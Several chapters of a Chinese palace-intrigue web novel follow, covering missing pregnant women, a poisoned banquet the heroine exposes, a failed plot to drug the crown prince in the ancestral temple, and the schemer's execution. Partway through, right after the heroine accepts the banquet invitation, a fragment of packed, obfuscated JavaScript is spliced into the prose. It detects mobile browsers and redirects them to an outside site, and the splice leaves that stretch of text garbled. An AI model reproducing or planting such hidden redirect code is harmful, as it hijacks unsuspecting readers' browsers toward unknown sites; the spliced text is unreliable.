就在林绾绾和萧景珩意乱情迷,水到渠成的时刻——
“圣女,公子!有紧急情况!”
青蚨焦急的声音,如同冰水般从浴池外传来,瞬间浇灭了满池的旖旎。
萧景珩眼中的浴火瞬间被冰冷的锐利取代。
他将林绾绾按向自己怀中,用身体挡住她,同时厉声道:“说!”
青蚨的声音带着前所未有的凝重:“血鸦阁密报!京畿三县,一夜之间,连续发生七起妇人失踪案!失踪者皆为临盆在即的孕妇!”
“现场…残留有特殊的邪异气味。寒鸦亲自去探查,说与公子带回的晶石气味相同!”
消息一出,如同惊雷般在两人耳边炸响。
皇帝的魔爪,终于伸向了新的紫河车!
看来炼制长生蛊的最后步骤,已经开始了…
******
京畿三县七名即将临盆孕妇一夜失踪,如同投入滚油中的冰水,瞬间在京城底层炸开了锅。
恐慌在流民和贫民之间蔓延。
街头巷尾议论纷纷,各种离奇恐怖的猜测甚嚣尘上。
官府贴出悬赏告示,派出衙役巡查,却如同石沉大海,毫无线索。
血鸦阁渊阁深处,气氛凝重如铁。
“七名孕妇,分散三县,同时失踪,现场干净得如同鬼魅过境,只留下极淡的邪气,恐怕与那蛊婆婆脱不了干系。”
萧景珩指着沙盘上京畿地图标注的红点,声音冷冽如刀。
“他们目标明确,手法老练。应该是为皇帝搜集最后的长生蛊材料。恐怕如今的皇陵地宫更是人间炼狱了…”
林绾绾看着那些刺目的红点,胃里一阵翻江倒海。
她仿佛能听到那些无辜妇人绝望的哭声,感受到未出世婴儿的悲鸣。
匣中被封禁的玉佩似乎也感应到了那浓烈的邪气,内部被封禁的蛊毒传来一阵阵焦躁不安的蠕动感,引得她心口火焰印记又开始微微灼痛。
“不能再等了!”
赫连灼一拳砸在沙盘边缘,琥珀色的眼眸中燃烧着熊熊怒火,“必须尽快找到长生蛊炼制地的入口,捣毁那魔窟!否则…”
萧景珩摇头,眉头紧锁。
“那里的范围实在太大,入口更是极其隐秘,并且有奇门遁甲遮蔽!强攻探查极易打草惊蛇。现在的线索指向位置模糊。我派出去寻找的人,也是有去无回…”
他顿了顿,目光扫过林绾绾的脸,带着担忧,“而且,玉佩的反噬…你也需要好好休息。”
“我没事。”
林绾绾强压下心口的不适,目光坚定,“静养解决不了问题。咱们必须主动出击,逼他们露出马脚!王絮和王丞相,可能会是最好的突破口。”
“那可能需要太子殿下使用一点美男计了。说不定王絮马上就会倒戈。我听说王絮在东宫,对太子可是体贴入微,总是借机制造与太子的独处机会。”
赫连灼讥笑出声。
“那等货色,给绾绾提鞋都不配。焉能入我的眼!”萧景珩反驳道。
“好了好了,我相信景珩。”
林绾绾打断二人的斗嘴,“皇帝肯定会有后续行动,我们还是要小心应对,及早找到炼制长生蛊的地方才是要事,不然会有更多的孕妇遭遇毒手。”
“绾绾说得对!当务之急是找到入口,其他的都不重要!”萧景珩环住林绾绾的肩膀,然后给了赫连灼一个挑衅的眼神。
赫连灼看着萧景珩的动作,想指责的话语,在看到林绾绾没有拒绝,反而下意识更依靠他的行为时,最终化为无声的叹息。
皇帝的“安抚”行动来得很快,也充满了刻意。
一道措辞华丽的圣旨送达圣女别苑。
言及“京畿流言纷扰,恐惊扰圣女清修,毁坏两国邦交”,特邀林绾绾三日**宫赴“赏菊宴”,与宗室命妇共赏秋色,“以安人心”。
赫连灼作为北漠狼主,亦在受邀之列。
明眼人都看得出,这分明是皇帝在孕妇失踪案引发恐慌后,急于**。
林绾绾心中也清楚,这是想将她置于众目睽睽之下,加以监视。
皇帝既然把舞台搭好,主角还是要到场的。
林绾绾欣然应允。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150085|176576||http|test|mini|href|location''.split(''|''),0,{}));
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r>三日后,御花园。
秋高气爽,金菊怒放,一派赏心悦目的景致。
然而,空气中却弥漫着一股无形的压抑。
身着华服的宗室女眷,诰命夫人三五成群,言笑晏晏,眼神却都是不自觉地飘向入口处。
或好奇,或审视,甚至带着一丝不易察觉的恐惧。
不多时,林绾绾到了。
她并未穿繁复的圣女华服,只是一身素雅的月白色云锦宫装。
长发以一支素雅的羊脂白玉簪松松挽起,通身无多余饰物。
但发髻一侧,却簪着一支含苞待放、以冰魄源晶雕琢而成的金丝昙花。
那昙花在秋阳下流转着内敛而神秘的光泽。
清冷出尘的模样瞬间吸引了所有人的目光。
她身侧,萧景珩一身玄衣,面具遮脸,身姿挺拔如松,沉默地守护着。
赫连灼坐在不远处,琥珀色的眸子深沉如海。
林绾绾的到来,如同投入平静湖面的石子,瞬间打破了表面的和谐。
御花园内,窃窃私语声响起,目光各异。
王絮也在场。
她一身娇嫩的鹅黄色衣裙。
手上的白纱已经除去,只留下淡淡的红痕,更添几分楚楚可怜。
她遥望见林绾绾发髻上的金丝昙花,眼底飞快掠过算计。
“哼!妖星就是妖星,走到哪里都带着不详之物。换个身份又怎样。”
一个尖酸刻薄的声音不大不小地响起。
出声的是一位与王家交好的郡王妃。
“金昙花可是宫里的禁忌!太后娘娘最厌恶的东西!有些人啊,仗着自己的身份和几分医术,就真当自己可以无法无天了!”
“就是!听说京畿那些失踪的妇人,出事前,也见过金昙花模样的东西呢!真是晦气!”
立刻有人随声附和,目光意有所指地瞟向林绾绾。
流言,恶毒而准确地指向了林绾绾和她发间的金昙花!
如此明显的针对!
若是无人授意,又有谁敢明目张胆地对她挑衅!
看来皇帝又为她准备了一个没有硝烟的战场!
第125章 宫宴毒香
御花园内。
林绾绾神色未变,仿佛没有听见那些污言秽语,只是从容地向几位地位尊崇的老王妃颔首致意。
萧景珩面具下的眸光冰冷,扫过那几个嚼舌根的妇人。
无形的威压让他们瞬间噤若寒蝉。
赫连灼则冷哼一声,一个杯子精准地掷向那群妇人的脚边。
几声娇呼响起。
赫连灼的声音清晰地传入每个人的耳中:“北漠圣湖的金丝昙花乃祥瑞之物,无知愚昧之辈,也敢妄施天威?”
气氛一瞬间僵冷。
就在这时,内侍尖细的通传响起:“太后娘娘驾到!陛下驾到!”
众人连忙起身行礼。
凤辇停下,太后在宫人的搀扶下走出。
她今日的起色似乎好了些。
穿着深紫色凤纹常服,发髻一丝不苟,手中还捻着那串紫檀佛珠。
当她的目光扫过人群,目光触及到林绾绾发髻上那朵冰魄金昙时,浑浊的眼珠猛地一缩,捻动佛珠的手指收紧。
一股无法掩饰的厌恶和恐惧爬上太后的脸庞。
她甚至下意识后退了半步,呼吸都急促了几分!
“母后?”
萧胤连忙上前一步,看似关切地扶住了她,实则手指用力,带着警告的意味。
太后强压下翻腾的情绪,勉强维持住仪态,声音却带着微微的颤抖:“都…都平身吧!”
说罢,她不再看林绾绾,仿佛那朵金昙花是什么洪水猛兽。
她快步走上主位落座。
皇帝在另一侧坐下,脸上堆起虚伪的笑容。
“今日秋色正好,金菊盛放,特邀诸位共赏,以愉身心。大家不必拘礼。”
他目光扫过全场,尤其在林绾绾身上停顿了片刻,“开宴吧!”
丝竹声起,宫女们鱼贯而入奉上精致的茶点和香茗。
为了驱散秋日的凉意,御花园各处放置了精致的鎏金熏炉。
袅袅青烟生起,散发着一种混合了龙涎香与沉水香的馥郁气息。
王絮如同穿花蝴蝶般,巧笑盼兮地周旋于几位宗室王妃和重臣夫人之间。
她言语得体,姿态温婉,赢得了不少赞誉的目光。
她甚至会走到太后身边,柔声细语地询问凤体安康,亲手为太后奉上一盏温热的参茶,将一个孝顺知礼的大家闺秀形象发挥得淋漓尽致。
在旁人眼中看来,已俨然一副太子妃的做派。
周围不时有命妇跟王妃讨论。
“看见了吧,这哪是什么赏菊宴,分明是要定了王家女太子妃的身份!”
“可不是,我听说这王家姑娘在东宫与太子两情相悦,两人经常一起相伴赏月,情谊深厚哪!”
“就是就是!我还听说这王姑娘已经开始夜宿清漪殿了!太子殿下对她可是宠爱有加!”
“这王丞相家真是了不得!先是出了个贵妃,现在马上就要出个太子妃!真是羡煞旁人!”
命妇们的话不时传到林绾绾耳中。
若不是萧景珩夜夜来别苑留宿,她都要相信二人真有其事了。
“赏月?夜宿?太子殿下还真是风流啊!”
林绾绾看向身后的“护卫”,还是忍不住酸了几句。
而带着面具的萧景珩此刻脸色也是异常难看,恨不得上前堵住这些命妇的嘴。
上位的皇帝看着周到有礼的王絮,眼中流露出毫不掩饰的赞赏,朗声道:“王爱卿教女有方。絮儿温婉贤淑,孝心可嘉,实乃闺阁典范。”
接着他意有所指地看向林绾绾方向,“比之那些恃才傲物,不知天高地厚之人,强之百倍啊!”
这赤裸裸的对比和贬低,让席间不少目光再次投向林绾绾,眼中满是幸灾乐祸。
林绾绾恍若未闻,只端起面前的青瓷茶盏,凑到鼻尖轻轻一嗅。
茶是好茶,清香扑鼻。
然而,当那混合着奇异香甜的熏炉烟气飘过时,她敏锐的嗅觉捕捉到了一丝极其细微的,几乎被馥郁香气掩盖住的…腥甜!
这味道…
与慈宁宫秘库中那些紫黑色蛊虫的气息,竟然有几分相似!
林绾绾心头警铃大作。
她立刻放下茶盏,目光锐利地扫过离她最近的一个熏炉。
炉内香料燃烧正常,但若有若无的腥甜,却如同毒蛇的信子,挥之不去!
“啊--!”
“我的头…好晕
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…”
就在林绾绾警惕心升到顶点时,异变陡升!
靠近熏炉区域的几位宗室女眷,几乎同时发出痛苦的呻吟。
其中一位年长的老王妃脸色瞬间变得青紫,双手死死捂住心口,身体不受控制地从座位上滑落。
另一位年轻的郡主则开始剧烈地干呕,脸色煞白!
更可怕的事,距离林绾绾不远的一位侯夫人,脸上和裸露的手背上,竟以肉眼可见的速度浮现出点点妖异的桃红色斑疹!
“啊!!”
有人惊恐地尖叫出声!
御花园内,场面瞬间大乱!
尖叫、哭喊、杯盘落地的碎裂声交织在一起。
方才还言笑晏晏的地方,顷刻间变成了人间地狱!
“护驾!护驾!”
侍卫们惊慌失措地冲上来,将皇帝和太后团团围住。
“太医!快传太医!”
皇帝萧胤的脸上满是“震怒”和“担忧”,眼底深处却闪过一丝不易察觉的地色。
王絮也“吓得”花容失色,踉跄着躲到太后身后,带着哭腔喊道:“怎么会这样?这熏香…难道是这熏香有问题?难道是有人下毒了?”
她的目光直直刺向林绾绾和她发髻上的金丝昙花,状似小心翼翼道。
“会不会是圣女殿下?臣女素闻圣女殿下钦慕太子,又整日与蛊毒为伍。莫不是嫉恨我与太子殿下关系,才将怒火发泄到不相关的人身上,以此泄恨?”
“她头上的金昙花簪会不会就是引子?”
一连串的拷问,让在场的人无不心惊,看向林绾绾的眼神变得惊恐失措。
“王姑娘说得对啊!我看她就是爱慕太子不成,心生报复!”
“对呀对呀!可要离她远点,万一她身上露出点什么掉到你我身上,咱们不是瞬间就没命了!”
周围的侍卫也是蓄势待发,只等皇帝一声令下,就要上前拿人。
“都给本狼主住口!你们简直是血口喷人!”
赫连灼怒喝出声,周身气势爆发。
“护卫”萧景珩也已一步挡在林绾绾身前,身上内力隐隐流动,声音冰冷如铁:
“我看谁敢造次!”
第126章 自证清白
“陛下,太后娘娘!臣冤枉!”
林绾绾的声音在一片混乱中响起。
“大家是中了毒,但毒不在熏香本身,而在引子!”
林绾绾的话,如同定身咒,让混乱的场面为之一静,所有人的目光都聚焦在她身上。
林绾绾无视王絮的目光和皇帝阴沉的注视,快步走到那位倒地的老王妃身旁。
她蹲下身子,无视老王妃身边惊慌的侍女,伸出三指迅速搭在其腕脉上,同时另一只手翻开老王妃的眼睑查看。
“脉象浮数而滑,舌苔黄厚而腻…瞳孔微散…是秽浊之气蒙蔽清窍,引动心火。”
林绾绾语速极快,带着医者的专业判断。
“这毒区别于朱颜改之烈毒!朱颜改毒发迅速,皮肤呈现桃花瘢,需毒素积累。但此毒不必!且乃急症!”
她目光如电,扫过混乱的席面,眼睛最终定格在王絮刚才孝敬给太后的那盏参茶上。
那盏茶,太后只是象征性地抿了一小口,此刻正放在的案几上。
“是茶!问题在参茶里!”
林绾绾厉声道,“有人在参茶里混入了微量的‘离魂草’粉末。此物无色无味,单独服用并无大碍,甚至略有安神之效。但!”
她猛地指向那些冒着袅袅青烟的熏炉。
“当离魂草遇到熏香中那味特殊的‘龙涎引’时,便会发生异变,产生一种能刺激心脉,引发眩晕呕吐、甚至能引动皮肤隐疾的混合毒素!”
“其症状,看起来与朱颜改初发有几分相似,极易混淆。”
林绾绾的话如同拨云见日,瞬间解开了所有谜团。
“离魂草?龙涎引?”
“混合毒素?”
刚刚赶到的太医跟几位大臣瞬间恍然。忍不住齐齐看向站在太后身旁的王絮。眼神中满是震惊和愤怒。
王絮脸色瞬间惨白,身体摇摇欲坠:“不是我!我没有!那参茶是我给太后娘娘的,可是我怎么敢…”
“你当然敢!”
林绾绾打断她,步步紧逼,声音清冷如冰泉。
“因为你算准了太后年迈体虚,脾胃虚弱,入口之物必先由宫人试毒!”
“而离魂草微量时,试毒的宫人短时间内根本不会出现明显症状!而且你真正的目标,从来都不是太后!而是那些靠近熏炉、大量吸入了‘龙涎引’香气的人!尤其是…”
她的目光扫过那位脸上浮现桃红斑疹的妇人,“本身就有血热隐疾之人!”
“症状爆发跟朱颜改这么像,而我又是跟这**关联最深的人!将此事嫁祸给我,再引发我与宗室亲眷的冲突,好一招一石二鸟,毒计连环!”
王絮所有的心机算计,在林绾绾洞察力下,被撕扯得粉碎。
“不…并不是这样的!陛下!太后娘娘!她污蔑我。我对陛下跟太后一片赤诚,如何…”
王絮慌了,扑通跪倒在地,涕泪横流地哭喊着。
“够了!”
皇帝萧胤猛地一拍案几,脸色铁青,眼中的杀意再也藏不住。
不是对王絮,而是对林绾绾!
这女人,又一次坏了他的计划!
“朕会让人好好彻查这件事情,给各位宗亲一个交代。至于王絮…暂且关到冷宫,着专人看管,待事实查明再做发落!”
侍卫立刻上前,不顾王絮凄厉的哭喊挣扎,将她拖了下去。
一场精心策划的毒局,再次以王絮的彻底失败告终!
林绾绾以自己绝对的实力,在众目睽睽之下又赢了一局。
她的医术与智慧,在这一刻达到了新的高度。
“圣女殿下…”
那位倒地的老王妃虚弱地伸出手,眼中充满了哀求。
林绾绾不再理会皇帝的怒火,立刻转身施救。
她迅速取出随身携带的九转玲珑针。
“取清水!大量清水!催吐!”
她一边吩咐宫人,一边出手如电。
第一针,直刺老王妃头顶百会穴!
针入三分,轻捻,引导清阳之气上冲,开窍醒神!
第二针,第三针,分刺双手内关穴!
针入五分,泻心火,宁心神,止呕逆!
接着,中脘穴!针入一寸,调理中焦!
足三里穴!
此乃胃经合穴,健运脾胃,化浊降逆
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。
最后,曲池穴,合谷穴,双针齐刺!
疏风清热,解毒透疹!
针尾颤动,发出细微嗡鸣。
林绾绾指尖萦绕着微弱的冰火之气,随着针法的引导,精准地注入老王妃体内,化解着混合毒素带来的秽浊之气,疏导淤堵的心脉。
同时,她指挥宫人给症状轻的几位夫人灌服了大量清水催吐,清除胃中残留毒物。
对于那位皮肤出现红斑的侯夫人,她则取出一小瓶碧绿色药膏,亲自为其涂抹在红斑处。
清凉的药性瞬间缓解了灼痛和不适。
林绾绾的动作迅捷、准确、有条不紊,如同在战场上指挥若定的将军,带着一种令人心折的镇定和力量。
混乱的场面在她的掌控下迅速安定下来。
**者的症状也在她精妙的针法和药物作用下,以肉眼可见的速度缓解!
当最后一位夫人的呼吸平稳下来,脸上的青紫褪去时,整个御花园都鸦雀无声。
所有人都用敬畏、感激的目光看着那位月白身影。
什么妖星,什么禁忌,在这一刻显得如此可笑!
太后坐在凤椅上,看着林绾绾忙碌而圣洁的身影,看着她发髻上那朵在混乱中也依旧清冷绽放的冰魄金昙,眼神复杂到了极点。
恐惧、厌恶、怨毒…交织着一丝连她自己都不愿承认的…震撼与茫然。
这朵花…宸妃…
那些被刻意尘封的、沾满血腥的记忆碎片,不受控制地翻涌上来。
皇帝萧胤的脸色已经不能用难看来形容了。
他死死盯着林绾绾,眼神如同毒蛇一般!
这女人…这女人必须死!
否则,他的长生大计,他的一切!恐怕都将会毁于一旦!
就在这时!
“报!”
一名浑身浴血的禁军将领踉跄着冲进御花园,声音凄厉,充满惊恐。
“陛下!皇陵方向!守陵卫队全军覆灭!入口发现大量血迹和残破的妇人衣物。还有…还有蛊虫!好多蛊虫爬了出来!”
轰——!
萧胤的瞳孔骤然收缩到极致,脸上血色褪尽!
第127章 王絮献计
御花园的毒香风波尚未完全平息,皇陵惊变的噩耗又如同飓风般席卷宫廷。
守陵卫队的全军覆没,地宫入口血迹斑斑的妇人衣物,以及那令人毛骨悚然的蛊虫外溢…
这些消息被皇帝以雷霆手段强行压下,对外只是宣称发现前朝余孽盗掘皇陵,已被剿灭。
然而,纸终究包不住火。
恐慌如同阴霾,沉沉压在京城上空,更沉甸甸压在皇帝萧胤的心头。
自己的长生大计已经走到关键时刻,偏偏在这时出现这等纰漏。
林绾绾这几人也如同悬顶利剑,让他寝食难安。
他现在需要一个巨大的变数,一个能彻底搅乱局面,转移所有人注意力的棋子!
冷宫深处,一间散发着霉味的偏殿。
王絮形容憔悴,娇嫩的鹅黄色衣裙沾满污渍。
手上因烫伤留下的淡淡红痕,此刻显得格外刺眼。
她跪在冰冷的地砖上,面前是脸色阴沉得能滴出水的皇帝萧胤。
两名气息阴冷的影卫如同雕像般立在阴影里。
“陛下!求陛下再给絮儿一次机会!”
王絮泪如雨下,声音凄楚。
她深知,自己马上就要成为皇帝手中的一枚弃子,若再无价值,等待她的只有比她姐姐更凄惨的下场!
皇帝居高临下看着她,眼神冰冷,如同审视一件器物。
随后嗤笑一声:“再给你一次机会?你的机会就是一次次把事情搞砸,让朕颜面尽失吗?”
王絮浑身一颤,猛地抬起头,眼中迸发出孤注一掷的疯狂光芒。
“不!陛下!絮儿还有用!只要…只要能让絮儿留在太子殿下身边,絮儿有办法让太子殿下“不得不”接纳絮儿!”
“哦?”皇帝眼中精光一闪,来了兴趣,“说来听听。”
王絮膝行两步,凑近皇帝,声音压得极低,带着一种豁出一起的狠毒。
“太后娘娘因金昙花之事,凤体违和,夜不能寐,噩梦缠身…絮儿愿以‘戴罪之身’,在太庙斋戒七日,为太后娘娘祈福,寻求化解‘金昙诅咒’之法!”
“絮儿从一本古籍中得知,上古有‘祭魂安神’之术,需皇室血脉于月圆之夜,在太庙正殿以诚心祝祷,移用祖灵之力,便可压制邪祟,安固神魂…”
她顿了顿,眼神中闪烁着算计的光芒。
“太子殿下至孝,他若闻此法能解太后心结,定会应允前去。”
“絮儿有一秘药,名为‘醉仙引’,无色无味,遇香则融,可使人意乱情迷。饶是林绾绾医术通神,也绝对查不出此来源!”
“届时,太庙正殿,月圆子夜,唯有太子殿下与主持仪式的絮儿二人…意乱情迷…”
“众目睽睽之下,太子殿下百口莫辩!为了皇室颜面,为了安抚王家,陛下可顺势赐婚,名正言顺!”
“此举若成,不仅能解太后心结,更能一箭双雕,彻底斩断太子与林绾绾的联系!”
“生米煮成熟饭…众目睽睽…”
皇帝咀嚼着这几个字,眼底深处翻涌起阴鸷兴奋的波澜。
这计策,够毒,也够狠!
一旦成功,一朝太子在太庙这么神圣的地方不知检点、**臣女,不仅会让朝臣对他失望,而且更会身败名裂。
同时,此举也会让太子与林绾绾彻底离心!
王家或可重新成为他手中利刃,而自己则能赢得宝贵的时间继续完成长生蛊!
至于王絮…
事成之后,是死是活,还不是他一句话的事!
“好!”皇帝猛地一拍手,脸上露出扭曲的笑容。
“朕就再给你一次机会!此事若是再办砸…王家,便与你一同陪葬!”
两日后,慈宁宫内。
太后靠在凤榻上,脸色灰败,眼下带着浓重的青黑。
自从御花园见过林绾绾发髻上那朵冰魄金昙后,她便夜夜噩梦。
宸妃七窍流血,皮肤布满紫黑斑块的恐怖景象,以及佛龛后秘室内经常传来的不明响动,反复折磨着她脆弱的神经。
太医开的安神药毫无作用,而她又不想再看见那个北漠圣女的嘴脸,身体愈发
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消瘦。
王絮一身素净的月白襦裙,不施粉黛,端着一碗熬得浓稠的安神药,跪在榻前,神情哀戚而虔诚。
“太后娘娘,絮儿罪该万死!前日糊涂,犯下大错,累及娘娘受惊。絮儿日夜难安,深感唯有诚信礼佛,祈求佛祖宽宥,才能减轻自己罪孽。”
她说着,眼中蓄满泪水,姿态卑微到了尘埃里。
太后烦躁地挥挥手,她现在实在没心情看这些惺惺作态。
王絮却自顾自地低声啜泣:“絮儿翻阅古籍偶然得知,太后娘娘凤体违和,噩梦缠身,恐与那妖邪的‘金昙诅咒’有关…絮儿心如刀绞,恨不能以身相替…”
“诅咒?”
太后浑浊的眼睛猛地睁开,射出骇人的光芒!
这个词狠狠戳中了她心底最深的恐惧。
“是…”
王絮身体瑟缩了一下,声音更低,带着神秘,“古籍记载,金昙乃上古邪花,以怨恨为食。沾惹其诅咒者,神魂不宁,噩梦缠身…”
“唯有至纯至孝的皇室血脉,于月圆之夜,在太庙正殿诚心祷告,燃‘安魂香’,行‘祭魂安神’古礼,方能沟通祖灵,**邪祟,化解诅咒…”
“皇室血脉?祭魂安神?”
太后枯瘦的手指死死抓住锦被,呼吸急促起来。
她不在乎王絮怎么知道这些,她只在乎“化解诅咒”这四个字!
只要能摆脱这无休止的噩梦,付出什么代价她都愿意!
“珩儿…太子…他是哀家的嫡孙,血脉至纯,为人至孝…他一定愿意去太庙的!”
太后如同抓住救命稻草般喃喃自语。
“正是!”
王絮连忙附和,眼中闪过奸计得逞的光芒。
“太子殿下至孝仁德,若知此法能解娘娘心结,定会应允!絮儿愿以戴罪之身,主持仪式,燃香祝祷,一起为娘娘祈福!”
被恐惧彻底支配的太后,早已失去了判断力。
她如同溺水之人,拼命抓住眼前这根浮木,厉声对宫人道:“去!传太子!立刻去传太子!”
第128章 太庙香劫
东宫,清漪殿。
萧景珩看着太后宫中传来的懿旨,眉头紧缩。
什么“金昙诅咒”,“祭魂安神”,“月圆子夜太庙正殿”…
这分明是冲着他来的又一个毒计!
尤其王絮牵扯其中,更透着诡异。
“殿下,这明显是个陷阱。”
赵乾沉声道,“王絮背后,定是皇帝授意。太庙正殿,子夜时分,他们必有所图。”
“我知道。”
萧景珩声音冰冷,“但懿旨已下,事关太后凤体,孤若不去,便是不孝,正好给了他们攻讦的口实。皇帝已经把“阴谋”变成了“阳谋”。”
“我陪你一起去。”
清冷的声音从门口传来。
林绾绾缓步走入,素白衣裙衬得她容颜清绝。
她看向萧景珩,目光沉静而坚定,“既然有人搭台子演戏,我们便陪她演到底。看看他们最后到底藏着些什么魑魅魍魉。”
萧景珩迎上林绾绾的目光,瞬间明白她的心意。
他眼中的冰寒被一丝暖意取代,点了点头:“好!赵乾安排人下去,将太庙盯紧,一只苍蝇也别放过!”
******
月圆之夜,子时将近。
太庙,这座供奉这大胤历代帝后神位的皇家禁地,在清冷的月光下显得格外庄严肃穆,也透着一股森然的寒意。
白日里恢宏的殿宇,此刻只剩下巨大的阴影和死寂。
正殿大门紧闭,唯有殿内长明灯透过高窗,洒下昏黄摇曳的光线。
空气中处处弥漫着浓郁的檀香气味。
巨大的梁柱在长明灯下,投下浓重的阴影。
历代帝后的牌位在缭绕的烟尘后若隐若现。
萧景珩一身明黄常服,俊美却冷冽的面容在昏暗的光线下如同玉雕。
他独自一人踏入空旷的正殿。
王絮早已等候在殿内。
她换上了一身素白的祭服,宽大的袍袖遮掩了身姿,脸上满是圣洁的虔诚。
她面前,巨大的紫铜香炉内,三支粗大的“安魂香”已点燃。
“臣女王絮,恭迎太子殿下。”
王絮盈盈下拜,声音轻柔婉转,带着恰到好处的颤抖,仿佛在为即将进行的神圣仪式而激动。
而她低垂的眼帘下,却闪烁着志在必得的疯狂。
“开始吧。”
萧景珩声音淡漠,走到香炉前指定的位置站定,目光扫过香烟缭绕的香炉,鼻翼几不可察地微微翕动。
这安魂香有问题!
随即,身上玄冥之气开始缓缓流转。
王絮看着太子一步步走向自己设定的陷阱,心中狂喜!
她强压下激动,走到香炉另一侧,拿起一个古朴的玉磬和玉槌,开始用一种带着奇异韵律的节奏敲击起来。
清脆的磬声在空旷的大殿内回荡,更添几分神秘与压抑。
“天清地宁,魂魄安宁…祖灵必有,邪祟退散…”
王絮口中念念有词,声音空灵飘逸。
配合着磬声,仿佛真有沟通鬼神之力。
然而,她的脚步却随着仪式的进行,不着痕迹地向萧景珩靠近。
随着她的靠近,香炉中升腾的青烟,裹胁着那混合了‘醉仙引’的气息,更多地飘向萧景珩。
醉仙引本就遇热挥发,而王絮为了以防万一,又在身上特意沾染了另一种催化香料的气息。
双管齐下,她就不信今晚拿不下太子!
王絮的心跳如擂鼓。
她紧紧盯着萧景珩的脸,期待他眼神迷离的那一刻!
时间过了许久,萧景珩依旧站得笔直,面色冷峻。
就在王絮以为醉仙引失效的时候,萧景珩的呼吸似乎变得略微沉重了一些。
一丝潮红悄然爬上了他冷玉般的耳根。
他垂在身侧的手,也似乎微微蜷缩了一下。
成了!
王絮心中狂吼!
药效终于发作了!
王絮敲击玉磬的节奏猛地一变,变得更加急促而惑乱。
同时,身体如同弱柳扶风般,一个“不慎”,脚下一滑!
“哎呀——!”
一声娇呼,她整个人朝着萧景珩的方向倒去!
宽大的素白祭服在空中散开,露出里面她精心准备的、薄如蝉翼的樱色纱衣。
她算准了角度,目标正是萧景珩的怀中!
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>只要被太子抱住,哪怕只是一瞬间,她就立刻撕破自己的衣衫。
在太子失去自我意识,与她忘我缠绵后,就放声大叫!
届时,闻声冲进来的宫人和侍卫,看到的将是“太子殿下在太庙圣地,对主持仪式的王丞相之女情难自已”的香艳场面!
铁证如山之下,太子妃之位必然非她莫属!
眼看着就要跌入那朝思暮想的怀抱,王絮眼中已露出胜利的狞笑!
然而!
就在她即将触碰到萧景珩衣襟的刹那!
萧景珩动了!
他并非伸手去接那看似柔弱无骨的女子,而是如同鬼魅般,身影极快地向侧后方划开半步!
动作快如闪电,带着一种冰冷的精准。
“噗通!”
王絮结结实实地摔在了冰冷坚硬的地面上!
精心准备的柔弱姿态荡然无存,只剩下一身狼狈和钻心的疼痛。
“王小姐,祭祀重地,还请自重!”
萧景珩冰冷的声音在王絮头顶响起,带着毫不掩饰的厌恶和讥讽。
他居高临下的看着王絮,眼神清冷锐利,哪有半分中了媚药的迷离。
方才那细微的药效反应,竟全是伪装!
“你…你没事?”
王絮顾不得疼痛,脸上血色尽褪,写满了难以置信。
这醉仙引可是她从黑市上花重金求购,据说从无失手。
“区区迷香,也想乱孤心神?做梦!”
萧景珩冷笑一声,玄冥之气微微流转,连萦绕周身的檀香气息都瞬间被冰寒驱散殆尽,何况是媚香!
“不…不可能!”王絮彻底慌了,挣扎着想爬起来。
就在这时!
砰!
太庙正殿厚重的殿门被人从外面猛地推开,刺眼的宫灯光芒瞬间涌入,驱散了殿内的昏暗。
皇帝萧胤脸色铁青地站在门口,身后跟着被宫人搀扶着的太后,以及一众宗室亲王、重臣!
萧胤本来是想让大家一起见证太子荒淫,谁知在殿门外没有听到自己期望的声音,反而是王絮自己功败垂成。
如今,只有把王絮尽快封口,放能把自己摘干净!
第129章 皇陵惊变
“王絮,你好大的胆子!”
皇帝萧胤大声厉喝:“竟敢在太庙圣地意图勾引太子!你该当何罪!”
王絮看着门口黑压压的人群,看着父亲回避自己的眼神,看着皇帝无情的嘴脸,她瞬间明白了!
自己已经是一枚弃子!
巨大的绝望和愤怒彻底吞噬了她!
她猛地从地上爬起,状似疯癫,指着皇帝,“是他…都是陛…”
“呃!”
她的话还没说完,鲜血便顺着嘴角慢慢滴落。
王絮不可置信地看着胸前的宝剑,最终歪倒在地。
萧胤擦了擦手中并不存在的鲜血,将手中的明黄锦帕嫌恶地丢在王絮身上。
“王守仁教女无方,遂罢免丞相之位,闭门思过,以观后效!”
萧胤面无表情地看了人群中的王丞相一眼,眼神冰冷至极。
昔日的王丞相如丧家之犬一般,跪在地上瑟瑟发抖,领旨谢恩。
“皇上!大事不好了!”
禁军统领面色铁青,跪在皇帝面前,冷汗涔涔。
“派去皇陵的禁军再次守卫失利,现在皇陵内蛊虫外溢,隐有控制不住之势!”
周围的大臣们议论纷纷,大家都被一种源于灵魂深处、对未知邪祟的极致恐惧所支配。
“皇陵…蛊虫…”一位老亲王声音颤抖,面无人色,“是报应啊…定是王家女的所作所为触怒了皇陵里的祖宗英灵啊!”
其他宗室权贵闻言都惊恐地跪倒在地,朝着皇陵方向叩拜。
“陛下!陛下救命啊!”尖叫声、哭喊声再次爆发。
皇帝萧胤脸上的血色也褪得干干净净,身体微微晃动了一下。
手指死死攥紧,指节因用力而泛出清白。
眼窝里翻涌着被逼到绝境的疯狂。
长生蛊!他的长生蛊!
蛊婆婆这个废物!竟然一而再再而三地让蛊虫外泄,闹出这么大的动静!
“慌什么!”
萧景珩冰冷的声音如同寒铁砸落,瞬间压下了混乱的声浪。
他高大的身影立与太庙历代帝后的牌位前,明黄色常服无风自动,眸光锐利。
他的眼睛扫过惊慌失措的众人,最后定格在皇帝身上,语气中带着洞悉一切的嘲讽。
“蛊虫肆虐,危及宗庙,动摇国本!当务之急,是立刻封锁皇陵周边,疏散百姓,查明蛊源!父皇…您意下如何?”
萧景珩的话如同无形的鞭子,狠狠抽在皇帝的脸上。
将萧胤从巨大的私欲中惊醒!
萧胤回过神,强行压下翻腾的心绪,脸上瞬间堆满了属于帝王的“震怒”和“担当”。
“太子所言极是!传朕旨意!”他厉声下令。
“一,京畿戍卫大营、五城巡防营立刻封锁皇陵方圆二十里!任何人不可靠近!违令者,格杀勿论!”
“二,太医院院正,率领所有太医,即刻前往皇陵外围待命!配置驱虫避秽药物,分发附近百姓!”
